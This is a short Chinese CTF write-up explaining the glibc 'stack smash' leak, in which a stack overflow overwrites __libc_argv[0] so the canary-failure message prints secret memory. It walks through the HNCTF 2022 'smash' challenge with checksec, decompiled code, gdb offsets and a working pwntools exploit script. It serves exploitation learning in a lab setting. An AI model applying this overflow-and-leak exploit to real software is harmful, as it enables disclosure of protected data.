刷题时遇到的一些,记录下来^^
Stack smash
原理
当开启了 canary 的程序,如果栈上那个特定值被覆盖掉,就会报错并调用 __stack_chk_fail
该函数
1 2 3 4 5 6 7 8 9 10 11
| void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>"); }
|
可以看到会调用底下那个函数,而底下那个函数会打印 __libc_argv[0] 所指向的内容,恰好该指针又在栈上
正常情况下是指向文件名的
如果栈溢出很大,足够将该指针覆盖成指向重要信息的指针(比如说 flag 啥的),就可以打印该信息了
2.31后就用不了了,因为不会打印这个指针了
例题
[HNCTF 2022 WEEK3]smash
checksec
1 2 3 4 5 6 7 8 9
| [*] '/home/yyyffff/nss/[HNCTF_2022_WEEK3]smash/smash' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000) SHSTK: Enabled IBT: Enabled Stripped: No
|
IDA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| int __cdecl main(int argc, const char **argv, const char **envp) { int fd; char v5[264]; unsigned __int64 v6;
v6 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stderr, 0LL); setbuf(stdout, 0LL); fd = open("flag", 0); if ( !fd ) { puts("Open Err0r."); exit(-1); } read(fd, &buf, 0x100uLL); puts("Good Luck."); gets(v5); return 0; }
|
思路
将 __libc_argv[0] 覆盖成 buf 地址即可
用 gdb 查看 __libc_argv[0] 地址
1 2 3 4 5
| 23:0118│-008 0x7fffffffd658 ◂— 0x2fc196184ebb6e00 24:0120│ rbp 0x7fffffffd660 —▸ 0x4012f0 (__libc_csu_init) ◂— endbr64 25:0128│+008 0x7fffffffd668 —▸ 0x7ffff7820840 (__libc_start_main+240) ◂— mov edi, eax 26:0130│+010 0x7fffffffd670 ◂— 1 27:0138│+018 0x7fffffffd678 —▸ 0x7fffffffd748 —▸ 0x7fffffffdb96 ◂— '/home/yyyffff/nss/[HNCTF_2022_WEEK3]smash/smash'
|
计算需要填充的大小
1 2
| pwndbg> distance 0x7fffffffd748 0x7fffffffd550 0x7fffffffd748->0x7fffffffd550 is -0x1f8 bytes (-0x3f words)
|
exp
1 2 3 4 5 6 7
| from pwn import * r=process('./smash')
r.recv() payload=b'a'*0x1f8+p64(0x404060) r.sendline(payload) r.interactive()
|
效果如下
